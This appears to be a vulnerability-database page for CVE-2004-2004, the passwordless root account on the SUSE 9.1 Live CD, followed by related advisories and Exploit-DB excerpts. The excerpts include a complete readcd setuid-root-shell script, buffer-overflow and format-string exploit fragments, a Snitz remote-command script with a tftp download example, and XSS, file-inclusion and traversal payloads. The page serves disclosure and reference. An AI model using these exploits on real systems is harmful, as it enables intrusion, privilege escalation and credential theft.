CVE-2004-2004
published 2004-05-06CVE-2004-2004: The Live CD in SUSE LINUX 9.1 Personal edition is configured without a password for root, which allows remote attackers to gain privileges via SSH.
PriorityP343critical10CVSS 2.0
AVNACLAuNCCICAC
EPSS
3.61%
88.1th percentile
The Live CD in SUSE LINUX 9.1 Personal edition is configured without a password for root, which allows remote attackers to gain privileges via SSH.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| suse | suse_linux | — | — |
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat3.5LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-3xv5-7mgj-868h: The Live CD in SUSE LINUX 9
ghsa_unreviewed·2022-04-29
CVE-2004-2004 [HIGH] GHSA-3xv5-7mgj-868h: The Live CD in SUSE LINUX 9
The Live CD in SUSE LINUX 9.1 Personal edition is configured without a password for root, which allows remote attackers to gain privileges via SSH.
Red Hat
curl: Usage of disabled protocol
vendor_redhat·2024-03-27·CVSS 3.5
CVE-2024-2004 [LOW] CWE-115 curl: Usage of disabled protocol
curl: Usage of disabled protocol
When a protocol selection parameter option disables all protocols without adding any then the default set of protocols would remain in the allowed set due to an error in the logic for removing protocols. The below command would perform a request to curl.se with a plaintext protocol which has been explicitly disabled. curl --proto -all,-http http://curl.se The flaw is only present if the set of selected protocols disables the entire set of available protocols, in itself a command with no practical use and therefore unlikely to be encountered in real situations. The curl security team has thus assessed this to be low severity bug.
A flaw was found in curl. When a protocol selection parameter disables all protocols without adding any, the default set of prot
Red Hat
security flaw
vendor_redhat·2004-12-08·CVSS 2.1
CVE-2004-1335 [LOW] security flaw
security flaw
Memory leak in the ip_options_get function in the Linux kernel before 2.6.10 allows local users to cause a denial of service (memory consumption) by repeatedly calling the ip_cmsg_send function.
No detection rules found.
Exploit-DB
Webby WebServer - Overflow (SEH) (PoC)
exploitdb·2010-05-25
CVE-2010-2102 Webby WebServer - Overflow (SEH) (PoC)
Webby WebServer - Overflow (SEH) (PoC)
---
#!/usr/bin/python
##POC details:
##
##SEH overwritten
##
##contact: [email protected]
## http://www.s3cur1ty.de
##App detail:
##
#http://www.shareware.de/webby-webserver/
#Version 1.01
#Autor Timo Gaik
#Lizenzart Freeware
#Plattformen Win XP, Win 98, Win ME
#Letztes Update 19.10.2004
#Dateigroesse 701 KB
import socket
import sys
import os.path
import time
if len(sys.argv) "
sys.exit(0)
ips = sys.argv[1]
port = int(sys.argv[2])
string = "A"*790
string += "\x90"*4
string += "\x42"*105
method = "GET"
print "starting POC for:", ips
print ""
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect=s.connect((ips, port))
except:
print "no connection possible"
sys.exit(1)
payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a
Exploit-DB
vSpin Classified System 2004 - 'cat.asp?catname' Cross-Site Scripting
exploitdb·2006-11-20
CVE-2006-6153 vSpin Classified System 2004 - 'cat.asp?catname' Cross-Site Scripting
vSpin Classified System 2004 - 'cat.asp?catname' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/21190/info
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
http://www.example.com/cat.asp?cat=1&catname=[xss]
Exploit-DB
Wirtualna Polska WPKontakt 3.0.1 - Remote Script Execution
exploitdb·2004-12-23
CVE-2004-1418 Wirtualna Polska WPKontakt 3.0.1 - Remote Script Execution
Wirtualna Polska WPKontakt 3.0.1 - Remote Script Execution
---
source: https://www.securityfocus.com/bid/12097/info
WPKontakt is reported prone to a potential script execution vulnerability. It is reported that this issue may allow remote attackers to execute arbitrary script code on a vulnerable computer, which may lead to various attacks. Arbitrary script code may be executed on a target system in the event that a specially message containing a specially malformed email address containing a JavaScript URI is received.
test@"style="background-image:url(javascript:alert(%22You%20are%20owned!%22>))".wp.pl
Exploit-DB
phpMyChat 0.14.5 - Remote Improper File Permissions
exploitdb·2004-12-22
CVE-2004-2718 phpMyChat 0.14.5 - Remote Improper File Permissions
phpMyChat 0.14.5 - Remote Improper File Permissions
---
####################################################################
#
# _____ _
# | ___| | _____ ___
# | |_ | |/ _ \ \ /\ / /
# | _| | | (_) \ V V /
# |_| |_|\___/ \_/\_/
# Security Group.
#
# * phpMyChat remote sploit *
# by sysbug
#
# C:\Perl\bin>perl pmc.pl www.kublooddrive.com /chat
# /* Mysql dump :
# * C_DB_HOST : localhost
# * C_DB_NAME : jhawk_pchat1
# * C_DB_USER : jhawk_pchat1
# * C_DB_PASS : vvejTjeLgB
# *
# * Adding Admin ....
# * login:jhawk
# * pwd:owned
# */
# C:\Perl\bin>
#
# Credits: all my friends!
use IO::Socket;
if(@ARGV new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp',Timeout=>10)|| die " * s0ck null -\n";
print $ock "$path\r\n";
print $ock "Accept: */*\r\n";
print $ock "Accept-Language: pt\r\n";
print $ock "Acc
Exploit-DB
UBBCentral UBB.Threads 6.2.3/6.5 - 'calendar.php?Cat' Cross-Site Scripting
exploitdb·2004-12-13
CVE-2004-2509 UBBCentral UBB.Threads 6.2.3/6.5 - 'calendar.php?Cat' Cross-Site Scripting
UBBCentral UBB.Threads 6.2.3/6.5 - 'calendar.php?Cat' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/11900/info
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
These vulnerabilities are reported to
Exploit-DB
Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass
exploitdb·2004-11-22
CVE-2004-1029 Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass
Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass
---
source: https://www.securityfocus.com/bid/11726/info
A vulnerability is reported to exist in the access controls of the Java to JavaScript data exchange within web browsers that employ the Sun Java Plug-in. Reports indicate that it is possible for a malicious website that contains JavaScript code to exploit this vulnerability to load a dangerous Java class and to pass this class to an invoked applet.
[script language=javascript]
var c=document.applets[0].getClass().forName('sun.text.Utility');
alert('got Class object: '+c)
[/script]
Exploit-DB
Apache 1.3.31 mod_include - Local Buffer Overflow
exploitdb·2004-10-21
CVE-2004-0940 Apache 1.3.31 mod_include - Local Buffer Overflow
Apache 1.3.31 mod_include - Local Buffer Overflow
---
/*********************************************************************************
local exploit for mod_include of apache 1.3.x *
written by xCrZx /18.10.2004/ *
bug found by xCrZx /18.10.2004/ *
*
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) *
*
*********************************************************************************/
/*********************************************************************************
Technical Details:
there is an overflow in get_tag function:
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode)
{
...
term = c;
while (1) {
GET_CHAR(in, c, NULL, p);
[1] if (t - tag == tagbuf_len) {
*t = '\0';
return NULL;
} *
// Want to accept \" as a valid character within a s
Exploit-DB
Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service
exploitdb·2004-09-21
CVE-2004-1699 Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service
Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service
---
source: https://www.securityfocus.com/bid/11232/info
The Pinnacle Systems ShowCenter web-based interface is reported prone to a remote denial of service vulnerability.
The issue exists due to a lack of sanity checks performed on the Skin parameter of a ShowCenter script.
It is reported that the affect of this attack will be persistent, any request for the ShowCenter web-based interface received subsequent to an attack will result in 'File or Folder not found' error message, as the interface fails to render.
A remote attacker may exploit this condition to persistently deny service to the ShowCenter web-based interface.
http://www.example.com:8000/ShowCenter/SettingsBase.php?Skin=ATK
Exploit-DB
CDRecord's ReadCD - Local Privilege Escalation
exploitdb·2004-09-19
CVE-2004-0806 CDRecord's ReadCD - Local Privilege Escalation
CDRecord's ReadCD - Local Privilege Escalation
---
#!/bin/bash
echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"
export READCD=/usr/bin/readcd
cd /tmp
cat > s.c
#include
#include
int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);
return 0;
}
_EOF_
cat > ss.c
int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);
return 0;
}
_EOF_
gcc -o s s.c
gcc -o ss ss.c
export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss
// milw0rm.com [2004-09-19]
Exploit-DB
RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay
exploitdb·2004-07-27
CVE-2004-2061 RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay
RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay
---
source: https://www.securityfocus.com/bid/10812/info
RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.
A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.
http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
http://www.exampl
Exploit-DB
Opera Web Browser 7.53 - Location Replace URI Obfuscation
exploitdb·2004-07-27
CVE-2004-2491 Opera Web Browser 7.53 - Location Replace URI Obfuscation
Opera Web Browser 7.53 - Location Replace URI Obfuscation
---
source: https://www.securityfocus.com/bid/10810/info
Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. This issue is due to a race condition error.
This issue may be leveraged by an attacker to display false information in the address bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to be derived from a trusted location. This may facilitate phishing attacks; attempted theft of user information for the purpose of identity theft.
function fake() {
oc=window.open('http://www.opera.com/', '','location=1');
oc.location.replace('http://www.example.com');
}
[/script]
http://www.opera.com/
Exploit-DB
Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)
exploitdb·2004-07-15
CVE-2004-2519 Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)
Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)
---
source: https://www.securityfocus.com/bid/10728/info
It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.
These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HEL
Exploit-DB
CuteNews 0.88/1.3 - 'show_archives.php' Cross-Site Scripting
exploitdb·2004-06-28
CVE-2004-0660 CuteNews 0.88/1.3 - 'show_archives.php' Cross-Site Scripting
CuteNews 0.88/1.3 - 'show_archives.php' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/10620/info
It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.
http://www.example.com/show_archives.php?subaction=showcomments&id=alert(document.cookie);&archive=&start_from=&ucat=&&a
Exploit-DB
PHProfession 2.5 - 'modules.php?offset' SQL Injection
exploitdb·2004-04-23
CVE-2004-1955 PHProfession 2.5 - 'modules.php?offset' SQL Injection
PHProfession 2.5 - 'modules.php?offset' SQL Injection
---
source: https://www.securityfocus.com/bid/10190/info
Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported.
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
These issues were reported to exist in phProfession 2.5. Other versions may also be affected.
http://www.example.com/postnuke0726/modules.php?op=modload&name=phprofession&file=index&offset=foobar
Exploit-DB
NukeCalendar 1.1.a - 'modules.php' Full Path Disclosure
exploitdb·2004-04-08
CVE-2004-1912 NukeCalendar 1.1.a - 'modules.php' Full Path Disclosure
NukeCalendar 1.1.a - 'modules.php' Full Path Disclosure
---
source: https://www.securityfocus.com/bid/10082/info
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.
http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=foobar
Exploit-DB
Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (2)
exploitdb·2004-03-29
CVE-2004-1873 Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (2)
Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (2)
---
source: https://www.securityfocus.com/bid/9997/info
Reportedly A-Cart is prone to multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to its use in SQL queries and generation of dynamic content.
The SQL injection issue may allow a remote attacker to manipulate SQL query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
The cross-site scripting issue could permit a remote attacker to create a malicious link to the vulnera
Exploit-DB
Proxy-Pro Professional GateKeeper Pro 4.7 - Web proxy Remote Buffer Overflow
exploitdb·2004-02-26
CVE-2004-0326 Proxy-Pro Professional GateKeeper Pro 4.7 - Web proxy Remote Buffer Overflow
Proxy-Pro Professional GateKeeper Pro 4.7 - Web proxy Remote Buffer Overflow
---
/*================[CRPT - FrenchTeam] =================*
[Coromputer Security Advisory] - [CRPTSA-01]
*=================== [Summary] =====================*
Software : GateKeeper Pro 4.7
Platforms : win32
Risk : High
Impact : Buffer overflow
Release Date : 2004-02-23
*=================== [Description] ====================*
there is a trivial buffer overflow in the web proxy (default port 3128).
*==================== [Details] ======================*
Sending GET http://host.com/AAAAAAAAAA...(~4100bytes) will cause an access
violation. Other services not tested, but they can be vulnerable too. Exact
version can be checked from the administration service (default port 2000).
*==================== [Exploits] =
Exploit-DB
Samhain Labs 1.x - HSFTP Remote Format String
exploitdb·2004-02-23
CVE-2004-0159 Samhain Labs 1.x - HSFTP Remote Format String
Samhain Labs 1.x - HSFTP Remote Format String
---
/*
source: https://www.securityfocus.com/bid/9715/info
hsftp has been found to be prone to a remote print format string vulnerability. This issue is due to the application improper use of a format printing function.
Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process.
*/
// priestmasters hsftp
#define PORT "\x34\x12" // Udp port 13330
// You can use other ports,
// if you want.
// Change it with your values
#define FPUTCGOT 0x0804e1dc // Got of fputc
#define RETADDR 0xbffff660 // return address
#define PADDING 0
#define STACKPOP 10
#define FMTNUM1 60000 // First number for short write
#define FMTNUM2
Exploit-DB
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator
exploitdb·2004-02-18·CVSS 7.2
CVE-2004-0077 [HIGH] Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator
---
/*
* Proof-of-concept exploit code for do_mremap() #2
*
* EDB Note: This is NOT to be confused with CVE-2003-0985 // https://www.exploit-db.com/exploits/141/, which would be "do_mremap() #1".
* EDB Note: This will just "test" the vulnerability. A exploit version can be found here ~ https://www.exploit-db.com/exploits/160/
*
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied
Exploit-DB
Cauldron Chaser 1.4/1.5 - Remote Denial of Service (2)
exploitdb·2004-02-03
CVE-2004-0247 Cauldron Chaser 1.4/1.5 - Remote Denial of Service (2)
Cauldron Chaser 1.4/1.5 - Remote Denial of Service (2)
---
source: https://www.securityfocus.com/bid/9567/info
Chaser has been reported to be prone to a denial of service vulnerability. This issue is caused by a lack of input validation of a size parameter specified in UDP network communication packets. The process will attempt to read the amount of data specified by the packet, without regard to the amount of memory allocated. This will cause an attempt by the application to dereference unallocated memory, producing an exception and causing the process to crash.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23642.rar
Exploit-DB
Niti Telecom Caravan Business Server 2.00-03D - Directory Traversal
exploitdb·2004-02-02
CVE-2004-2170 Niti Telecom Caravan Business Server 2.00-03D - Directory Traversal
Niti Telecom Caravan Business Server 2.00-03D - Directory Traversal
---
source: https://www.securityfocus.com/bid/9555/info
The showcode.asp script activated in Sample_showcode.html may be vulnerable to a directory traversal issue. A remote attacker may view any files readable by the web server using '../' escape sequences in URI requests.
http://www.example.org/sample_script_directory/Sample_showcode.html?fname=/../../../../target
Exploit-DB
PHPGedView 2.61 - Multiple Remote File Inclusions
exploitdb·2004-01-06
CVE-2004-0030 PHPGedView 2.61 - Multiple Remote File Inclusions
PHPGedView 2.61 - Multiple Remote File Inclusions
---
source: https://www.securityfocus.com/bid/9368/info
PhpGedView is prone to multiple file include vulnerabilities. The source of the issue is that a number of scripts that ship with the software permit remote users to influence require() paths for various external files. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.
These issues are reported to affect PhpGedView 2.61. Other versions are also likely affected.
http://www.example.com/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
http://www.example.com/phpgedview_folder/functions.php?PGV_BA
Exploit-DB
Snitz Forums 3.3.03 - Remote Command Execution
exploitdb·2003-05-12
CVE-2004-2720 Snitz Forums 3.3.03 - Remote Command Execution
Snitz Forums 3.3.03 - Remote Command Execution
---
#!/usr/bin/perl
use Socket;
print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";
print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = ;
chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}
print "\nWeb server port? [80]: ";
my $port = ;
chomp $port;
if( $port eq "" )
{
$port = 80;
}
print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = ;
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}
print "\nCommand to execute non-interactively\n";
print " Example commands: tftp -i Your.IP.Here GET
Bugzilla
CVE-2004-0007 security flaw
bugzilla·2018-08-16·CVSS 7.5
CVE-2004-0007 [HIGH] CVE-2004-0007 security flaw
CVE-2004-0007 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
Buffer overflow in the Extract Info Field Function for (1) MSN and (2) YMSG protocol handlers in Gaim 0.74 and earlier, and Ultramagnetic before 0.81, allows remote attackers to cause a denial of service and possibly execute arbitrary code.
Bugzilla
CVE-2004-1453 security flaw
bugzilla·2018-08-16·CVSS 2.1
CVE-2004-1453 [LOW] CVE-2004-1453 security flaw
CVE-2004-1453 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
GNU glibc 2.3.4 before 2.3.4.20040619, 2.3.3 before 2.3.3.20040420, and 2.3.2 before 2.3.2-r10 does not restrict the use of LD_DEBUG for a setuid program, which allows local users to gain sensitive information, such as the list of symbols used by the program.
Bugzilla
CVE-2004-0521 security flaw
bugzilla·2018-08-16·CVSS 10.0
CVE-2004-0521 [CRITICAL] CVE-2004-0521 security flaw
CVE-2004-0521 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
SQL injection vulnerability in SquirrelMail before 1.4.3 RC1 allows remote attackers to execute unauthorized SQL statements, with unknown impact, probably via abook_database.php.
Bugzilla
CVE-2004-1141 security flaw
bugzilla·2018-08-16·CVSS 5.0
CVE-2004-1141 [MEDIUM] CVE-2004-1141 security flaw
CVE-2004-1141 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
The HTTP dissector in Ethereal 0.10.1 through 0.10.7 allows remote attackers to cause a denial of service (application crash) via a certain packet that causes the dissector to access previously-freed memory.
Bugzilla
CVE-2004-1138 security flaw
bugzilla·2018-08-16·CVSS 7.2
CVE-2004-1138 [HIGH] CVE-2004-1138 security flaw
CVE-2004-1138 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
VIM before 6.3 and gVim before 6.3 allow local users to execute arbitrary commands via a file containing a crafted modeline that is executed when the file is viewed using options such as (1) termcap, (2) printdevice, (3) titleold, (4) filetype, (5) syntax, (6) backupext, (7) keymap, (8) patchmode, or (9) langmenu.
Bugzilla
CVE-2004-0694 security flaw
bugzilla·2018-08-16·CVSS 6.8
CVE-2004-0694 [MEDIUM] CVE-2004-0694 security flaw
CVE-2004-0694 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
Buffer overflow in LHA 1.14 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via unknown vectors related to "command line processing," a different vulnerability than CVE-2004-0771. NOTE: this issue may be REJECTED if there are not any cases in which LHA is setuid or is otherwise used across security boundaries.
Bugzilla
CVE-2004-1177 security flaw
bugzilla·2018-08-16·CVSS 4.3
CVE-2004-1177 [MEDIUM] CVE-2004-1177 security flaw
CVE-2004-1177 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
Cross-site scripting (XSS) vulnerability in the driver script in mailman before 2.1.5 allows remote attackers to inject arbitrary web script or HTML via a URL, which is not properly escaped in the resulting error page.
---
Statement:
This issue did not affect the versions of mailman shipped with Red Hat Enterprise Linux 2.1, 3, or 4. In addition, we believe this issue does not apply to the 2.0.x versions of mailman due to setting of STEALTH_MODE
Bugzilla
CVE-2004-2771 CVE-2014-7844 mailx: command execution flaw
bugzilla·2014-11-11·CVSS 7.5
CVE-2004-2771 [HIGH] CVE-2004-2771 CVE-2014-7844 mailx: command execution flaw
CVE-2004-2771 CVE-2014-7844 mailx: command execution flaw
Florian Weimer from Red Hat has reported the below issue:
mailx executes shell commands embedded in syntactically valid mail addresses due a not quoted command to prevent word expansion.
fio.c
542 }
543 snprintf(cmdbuf, sizeof cmdbuf, "echo %s", name);
544 if ((shell = value("SHELL")) == NULL)
545 shell = SHELL;
The original report in Debian bugtracker:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=278748
Discussion:
Created attachment 958222
0001-outof-Introduce-expandaddr-flag.patch
---
Created attachment 958223
0002-unpack-Disable-option-processing-for-email-addresses.patch
---
Created attachment 958224
0003-fio.c-Unconditionally-require-wordexp-support.patch
---
Created attachment 958225
0004-globname-Invoke-wor
Bugzilla
CAN-2004-1304, File ELF Header Unspecified Buffer Overflow
bugzilla·2004-12-07
[MEDIUM] CAN-2004-1304, File ELF Header Unspecified Buffer Overflow
CAN-2004-1304, File ELF Header Unspecified Buffer Overflow
04.48.16 CVE: Not Available
Platform: Unix
Title: File ELF Header Unspecified Buffer Overflow
Description: The Unix file command is affected by a buffer overflow
vulnerability. This issue is due to a failure of the application to
properly validate string lengths in the affected files prior to
copying them into static process buffers. This can be leveraged by an
attacker to execute hostile code on the vulnerable system.
Ref: http://www.securityfocus.com/advisories/7566
------- Additional Comments From [email protected] 2004-12-14 08:40:43 ----
gentoo has an advisory on it, now, too:
http://www.gentoo.org/security/en/glsa/glsa-200412-07.xml
------- Additional Comments From [email protected] 2005-02-15 07:21:09 ----
T
Bugzilla
CAN-2004-0974 Netatalk "etc2ps.sh" Script Insecure Temporary File Creation
bugzilla·2004-11-09
[MEDIUM] CAN-2004-0974 Netatalk "etc2ps.sh" Script Insecure Temporary File Creation
CAN-2004-0974 Netatalk "etc2ps.sh" Script Insecure Temporary File Creation
http://secunia.com/advisories/12976/
A vulnerability has been reported in Netatalk, which can be exploited by
malicious, local users to perform certain actions on a vulnerable system with
escalated privileges.
The vulnerability is caused due to the "etc2ps.sh" script creating temporary
files insecurely. This can be exploited via symlink attacks to create or
overwrite arbitrary files with the privileges of the user executing the
vulnerable script.
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0974
Red Hat Bugzilla: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137966
Patch:
https://bugzilla.redhat.com/bugzilla/attachment.cgi?id=106118&action=view
------- Additional Comments From marcdesla
Bugzilla
net-snmp unauthorised access to mibs
bugzilla·2003-11-10
[MEDIUM] net-snmp unauthorised access to mibs
net-snmp unauthorised access to mibs
Net-SNMP 5.0.9 was released on the 6th of September to fix a security
issue where an existing user/community could get access to data in MIB
objects that were explicitly excluded from their view.
CVE name pending
Discussion:
Affects: 3AS 3ES 3WS
Errata update (to Net-SNMP 3.0.9) in progress
---
This was released; http://rhn.redhat.com/errata/RHSA-2004-023.html
---
Ahh, cool. Thanks. :-)
Read ya, Phil
http://www.securityfocus.com/bid/10297http://www.suse.de/de/security/2004_11_live_cd_91.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/16084http://www.securityfocus.com/bid/10297http://www.suse.de/de/security/2004_11_live_cd_91.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/16084
2004-05-06
Published